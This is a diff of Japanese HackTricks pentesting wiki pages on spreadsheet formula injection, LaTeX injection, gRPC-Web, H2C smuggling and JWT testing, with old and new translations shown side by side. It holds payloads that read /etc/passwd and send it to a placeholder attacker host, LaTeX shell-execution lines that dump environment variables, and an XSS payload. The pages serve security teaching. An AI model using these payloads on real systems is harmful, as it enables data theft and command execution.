- ローカルの `/etc/passwd` ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1` - ローカルの `/etc/passwd` ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1`
- 読み取ったデータを攻撃者が制御するサーバーに送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))` - 読み取ったデータを攻撃者が制御するサーバーに送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- 複数行を送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` - 複数行を送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS エクスフィルトレーション(読み取ったデータを DNS クエリとして攻撃者が制御する DNS サーバーに送信する):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))` - DNS 送信(読み取ったデータを DNS クエリとして攻撃者が制御する DNS サーバーに送信する):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets を使用した Out-of-BandOOBデータエクスフィルトレーション ### Google Sheets を使用した Out-of-BandOOBデータの送信
Google Sheets は、OOB データエクスフィルトレーションに悪用できる関数を提供しています: Google Sheets は、OOB データの送信に悪用できる関数を提供しています:
- **CONCATENATE**: 文字列を連結します - `=CONCATENATE(A2:E2)` - **CONCATENATE**: 文字列を連結します - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: 構造化データからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTXML**: 構造化データからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
@ -105,11 +105,11 @@ Google Sheets は、OOB データエクスフィルトレーションに悪用
## LaTeX インジェクション ## LaTeX インジェクション
通常、**LaTeX コードを PDF に変換する**インターネット上のサーバーは **`pdflatex`** を使用します。\ 通常、**LaTeX コードを PDF に変換する**インターネット上のサーバーは **`pdflatex`** を使用します。\
このプログラムは、コマンドの実行を(無効にする)許可するために 3 つの主要な属性を使用します: このプログラムは、(無効化されていても)コマンドの実行を許可または拒否するために 3 つの主要な属性を使用します:
* **`--no-shell-escape`**: `\write18{command}`造を無効にします。たとえ texmf.cnf ファイルで有効になっていても。 * **`--no-shell-escape`**: `\write18{command}`文を無効にします。texmf.cnf ファイルで有効になっていても。
* **`--shell-restricted`**: `--shell-escape` と同じですが、'安全' な事前定義された \*\*コマンドに \*\*制限されますUbuntu 16.04 では、リスト`/usr/share/texmf/web2c/texmf.cnf` にあります)。 * **`--shell-restricted`**: `--shell-escape` と同じですが、'安全な' 事前定義の \*\*コマンドに**制限**されますUbuntu 16.04 で`/usr/share/texmf/web2c/texmf.cnf`リストがあります)。
* **`--shell-escape`**: `\write18{command}`を有効にします。コマンドは任意のシェルコマンドです。通常、この構造はセキュリティ上の理由から許可されていません。 * **`--shell-escape`**: `\write18{command}`を有効にします。コマンドは任意のシェルコマンドです。通常、セキュリティ上の理由からこの構文は許可されていません。
ただし、コマンドを実行する他の方法もありますので、RCE を回避するために `--shell-restricted` を使用することが非常に重要です。 ただし、コマンドを実行する他の方法もありますので、RCE を回避するために `--shell-restricted` を使用することが非常に重要です。
@ -173,29 +173,46 @@ Google Sheets は、OOB データエクスフィルトレーションに悪用
## Get the value of shell_escape_commands without needing to read pdfetex.ini ## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
``` ```
### Formula CSV Document LaTeX Ghostscript Injection ```markdown
## Formula CSV Document LaTeX Ghostscript Injection
--- ### Attack Scenario
#### Attack Scenario An attacker can craft a malicious CSV file containing a formula that, when opened with a vulnerable spreadsheet application, triggers a LaTeX formula injection. This can lead to remote code execution on the victim's machine if the application uses Ghostscript to render the formula.
An attacker can craft a malicious CSV file containing a formula that, when opened with a vulnerable application, triggers a LaTeX injection. This injection can lead to the execution of arbitrary commands on the victim's machine through Ghostscript. ### Exploitation
#### Exploitation 1. Craft a CSV file with a formula that includes LaTeX syntax and a command injection payload.
1. Craft a CSV file with a formula that includes LaTeX injection payload.
2. Send the malicious CSV file to the victim or host it on a website for the victim to download. 2. Send the malicious CSV file to the victim or host it on a website for the victim to download.
3. When the victim opens the CSV file with a vulnerable application, the LaTeX injection triggers. 3. When the victim opens the CSV file with a vulnerable spreadsheet application that uses Ghostscript for rendering, the LaTeX formula triggers the Ghostscript injection.
4. Ghostscript processes the injected LaTeX code and executes the attacker's commands. 4. The Ghostscript command executes, leading to remote code execution on the victim's machine.
#### Impact ### Mitigation
Successful exploitation of this vulnerability can result in the attacker gaining remote code execution capabilities on the victim's machine. This can lead to further compromise of the system and unauthorized access to sensitive information. - Avoid opening untrusted CSV files from unknown sources.
- Ensure that spreadsheet applications are updated to the latest versions to patch known vulnerabilities.
- Consider using alternative spreadsheet applications that do not rely on Ghostscript for rendering formulas.
```
```html
## フォーミュラCSVドキュメントLaTeX Ghostscriptインジェクション
#### Mitigation ### 攻撃シナリオ
- Avoid opening CSV files from untrusted sources. 攻撃者は、脆弱なスプレッドシートアプリケーションで開かれるとLaTeXフォーミュラインジェクションを引き起こす悪意のあるCSVファイルを作成できます。これにより、アプリケーションがフォーミュラをレンダリングするためにGhostscriptを使用している場合、被害者のマシンでリモートコード実行が発生する可能性があります。
- Regularly update applications to patch known vulnerabilities that could be exploited through file parsing functionalities.
### 悪用
1. LaTeX構文とコマンドインジェクションペイロードを含むフォーミュラを持つCSVファイルを作成します。
2. 悪意のあるCSVファイルを被害者に送信するか、被害者がダウンロードするためにウェブサイトにホストします。
3. Ghostscriptを使用してフォーミュラをレンダリングする脆弱なスプレッドシートアプリケーションでCSVファイルを開いたとき、LaTeXフォーミュラがGhostscriptインジェクションをトリガーします。
4. Ghostscriptコマンドが実行され、被害者のマシンでリモートコード実行が発生します。
### 緩和
- 未知のソースからの信頼できないCSVファイルを開かないようにします。
- スプレッドシートアプリケーションが既知の脆弱性を修正するために最新バージョンに更新されていることを確認します。
- Ghostscriptを使用してフォーミュラをレンダリングしない代替スプレッドシートアプリケーションの使用を検討します。
```
```bash ```bash
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
@ -236,9 +253,9 @@ Successful exploitation of this vulnerability can result in the attacker gaining
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
</details> </details>

View file

@ -1,51 +1,53 @@
# gRPC-Webのペネトレーションテスト # gRPC-Webのペンテスト
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法:
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 - **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか、**Twitter**で**フォロー**してください [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - [**公式PEASSHackTricksのスウォッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
## **gRPC-Webペイロードの操作** ## **gRPC-Webペイロードの操作**
gRPC-WebはリクエストでContent-Type: `application/grpc-web-text`を使用し、これはbase64エンコードされた形式のprotobufです。[gprc-coder](https://github.com/nxenon/grpc-pentest-suite)ツールを使用でき、その[Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite)もインストールできます。 gRPC-WebはリクエストでContent-Type: `application/grpc-web-text`を使用し、これはベース64エンコードされたprotobufのような形式です。[gprc-coder](https://github.com/nxenon/grpc-pentest-suite)ツールを使用してペイロードをデコードし、[Burp Suite拡張機能](https://github.com/nxenon/grpc-pentest-suite)をインストールすることができます。
### **gGRPC Coderツールを使った手動操作** ### **gGRPC Coderツールを使用した手動方法**
1. まずペイロードをデコードします: 1. まずペイロードをデコードします:
```bash ```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
``` ```
2. デコードされたペイロードの内容を編集 2. デコードされたペイロードの内容を編集します。
``` ```
nano out.txt nano out.txt
2: {"Amin Nasiri Xenon GRPC"} 2: {"Amin Nasiri Xenon GRPC"}
3: 54 3: 54
7: {"<script>alert(origin)</script>"} 7: {"<script>alert(origin)</script>"}
``` ```
3. 新しいペイロードをエンコードす 3. 新しいペイロードをエンコードしま
```bash ```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
``` ```
4. Burpインターセプターでの出力の使用: 4. Burp インターセプターで出力を使用します:
``` ```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+ AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
``` ```
### **gRPC-Web Coder Burp Suite 拡張機能の手動使用** ### **gRPC-Web Coder Burp Suite Extensionのマニュアル**
[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) に含まれる gRPC-Web Coder Burp Suite 拡張機能を使用すると便利です。インストールと使用方法については、そのリポジトリで確認できます [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)内のgRPC-Web Coder Burp Suite Extensionを使用できます。インストールおよび使用方法については、リポジトリ内の指示を参照してください
## **gRPC-Web Javascript ファイルの分析** ## **gRPC-Web Javascriptファイルの解析**
すべての gRPC-Web アプリケーションには少なくとも1つの Javascript ファイルが含まれています。新しいメッセージ、エンドポイント、サービスを見つけるためにファイルを分析できます。[gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) ツールの使用を試みてください。 すべてのgRPC-Webアプリケーションには少なくとも1つのJavascriptファイルがあります。ファイルを解析して新しいメッセージ、エンドポイント、およびサービスを見つけることができます。[gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite)ツールを使用してみてください。
1. Javascript gRPC-Web ファイルをダウンロードする 1. Javascript gRPC-Webファイルをダウンロードします。
2. grpc-scan.py でスキャンする: 2. grpc-scan.pyでスキャンします。
```bash ```bash
python3 grpc-scan.py --file main.js python3 grpc-scan.py --file main.js
``` ```
3. 出力を分析し、新しいエンドポイントと新しいサービスをテストする: 3. 出力を分析し、新しいエンドポイントと新しいサービスをテストします:
``` ```
Output: Output:
Found Endpoints: Found Endpoints:
@ -139,17 +141,19 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
``` ```
## 参考文献 ## 参考文献
* [Amin NasiriによるgRPC-Webへのハッキング記事](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45) * [Amin NasiriによるgRPC-Webハッキング記事](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) * [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法:
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**にフォローしてください。** * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details> </details>

View file

@ -7,16 +7,16 @@
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローしてください。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローしてください [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) 今すぐ。 最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -28,7 +28,7 @@ HackTricks をサポートする他の方法:
H2C、または **http2 over cleartext** は、標準のHTTP **接続を永続的なものにアップグレード** することで、一時的なHTTP接続の通常から逸脱します。このアップグレードされた接続は、平文のHTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。 H2C、または **http2 over cleartext** は、標準のHTTP **接続を永続的なものにアップグレード** することで、一時的なHTTP接続の通常から逸脱します。このアップグレードされた接続は、平文のHTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。
スマグリングの問題の核心は、**リバースプロキシ**の使用に起因します。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送し、その後バックエンドの応答を返します。しかし、HTTPリクエストに `Connection: Upgrade` ヘッダーが存在する場合websocket接続で一般的に見られる、リバースプロキシはクライアントとサーバー間の**永続的な接続を維持**し、特定のプロトコルに必要な連続的な交換を容易にします。H2C接続の場合、RFCへの遵守には、特定の3つのヘッダーの存在が必要です: スマグリングの問題の核心は、**リバースプロキシ**の使用にあります。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送し、その後バックエンドの応答を返します。ただし、HTTPリクエストに `Connection: Upgrade` ヘッダーが存在する場合websocket接続で一般的に見られる、リバース **プロキシはクライアントとサーバーの間に永続的な接続を維持** し、特定のプロトコルで必要な連続した交換を容易にします。H2C接続の場合、RFCへの遵守には、特定の3つのヘッダーが存在する必要があります:
``` ```
Upgrade: h2c Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
@ -36,17 +36,13 @@ Connection: Upgrade, HTTP2-Settings
``` ```
### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a> ### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
脆弱性は、接続をアップグレードした後、リバースプロキシが個々のリクエストを処理するのをやめ、ルーティングの仕事が接続確立後に完了したと仮定すると発生します。H2Cスマグリングを悪用することで、リクエスト処理中に適用されるリバースプロキシのルールパスベースのルーティング、認証、WAF処理などを回避することが可能となります。これは、H2C接続が正常に確立された場合に適用されます。 脆弱性は、リバースプロキシが`Upgrade`および時折`Connection`ヘッダーを処理する方法に依存しています。次のプロキシは、プロキシパス中にこれらのヘッダーを暗黙的に転送し、それによってH2Cスマグリングを可能にします
### 悪用 <a href="#exploitation" id="exploitation"></a>
脆弱性は、リバースプロキシが `Upgrade` ヘッダーと時々 `Connection` ヘッダーの処理方法に依存しています。以下のプロキシは、プロキシパス中にこれらのヘッダーを暗黙的に転送し、それによってH2Cスマグリングを可能にします
- HAProxy - HAProxy
- Traefik - Traefik
- Nuster - Nuster
一方、これらのサービスはプロキシパス中に両方のヘッダーを暗黙的に転送しません。ただし、`Upgrade` および `Connection` ヘッダーをフィルタリングせずに転送するように不安全に構成されている可能性があります: 一方、これらのサービスはプロキシパス中に両方のヘッダーを暗黙的に転送しません。ただし、`Upgrade`および`Connection`ヘッダーを無選別に転送するように不安全に構成されている可能性があります:
- AWS ALB/CLB - AWS ALB/CLB
- NGINX - NGINX
@ -59,12 +55,12 @@ Connection: Upgrade, HTTP2-Settings
### 悪用 <a href="#exploitation" id="exploitation"></a> ### 悪用 <a href="#exploitation" id="exploitation"></a>
重要なのは、すべてのサーバーが、準拠したH2C接続アップグレードに必要なヘッダーを暗黙的に転送するわけではないということです。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、通常H2C接続をブロックします。それでも、`Connection: Upgrade` の非準拠バリアントでテストする価値があります。このバリアントは、`Connection` ヘッダーから `HTTP2-Settings` の値を除外しているため、一部のバックエンドが標準に準拠していない可能性があります。 重要なのは、すべてのサーバーが、準拠したH2C接続アップグレードに必要なヘッダーを暗黙的に転送するわけではないということです。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、H2C接続をブロックします。それでも、`Connection: Upgrade`バリアント(`Connection`ヘッダーから`HTTP2-Settings`値を除外したもの)でテストする価値があります。なぜなら、一部のバックエンドが標準に準拠していない可能性があるからです。
{% hint style="danger" %} {% hint style="danger" %}
`proxy_pass` URL で指定された特定の **パス** に関係なく(例:`http://backend:9999/socket.io`)、確立された接続はデフォルトで `http://backend:9999` になります。これにより、このテクニックを利用して、その内部エンドポイント内の任意のパスとやり取りすることが可能となります。したがって、`proxy_pass` URL でパスを指定してもアクセスが制限されることはありません。 `proxy_pass` URL内で指定された特定の**パス**(例:`http://backend:9999/socket.io`)に関係なく、確立された接続はデフォルトで`http://backend:9999`になります。これにより、このテクニックを利用して、その内部エンドポイント内の任意のパスとやり取りすることが可能です。したがって、`proxy_pass` URL内でパスを指定してもアクセスが制限されません。
{% endhint %} {% endhint %}
[**BishopFoxのh2csmuggler**](https://github.com/BishopFox/h2csmuggler) および [**assetnoteのh2csmuggler**](https://github.com/assetnote/h2csmuggler) というツールは、H2C接続を確立することで、リバースプロキシによって適用される保護を回避し、プロキシによって保護されているリソースにアクセスすることを可能にします。 [**BishopFoxのh2csmuggler**](https://github.com/BishopFox/h2csmuggler)および[**assetnoteのh2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールは、H2C接続を確立することで、プロキシによって適用された保護を回避し、プロキシによって保護されたリソースにアクセスする試みを支援します。
この脆弱性に関する詳細情報、特にNGINXに関する情報については、[**この詳細なリソース**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)を参照してください。 この脆弱性に関する詳細情報、特にNGINXに関する情報については、[**この詳細なリソース**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)を参照してください。

View file

@ -6,17 +6,17 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけ - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details> </details>
![](<../.gitbook/assets/image (638) (3).png>) ![](<../.gitbook/assets/image (638) (3).png>)
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムの**バグバウンティプラットフォームである**Intigriti**に**サインアップ**してください![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得し始めましょう! **バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -25,7 +25,7 @@ HackTricksをサポートする他の方法
### **クイックウィン** ### **クイックウィン**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑色の行を待ちます [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑色の行を待ちます
```bash ```bash
python3 jwt_tool.py -M at \ python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -35,32 +35,32 @@ python3 jwt_tool.py -M at \
![](<../.gitbook/assets/image (435).png>) ![](<../.gitbook/assets/image (435).png>)
その後、プロキシでリクエストを検索するか、jwt\_ toolを使用してそのリクエストで使用されたJWTをダンプできます: その後、jwt_toolを使用して、そのリクエストに使用されたJWTをプロキシで検索するか、ダンプすることができます:
```bash ```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
``` ```
### データを変更せずにデータを改ざんする ### データを変更せずに改ざんする
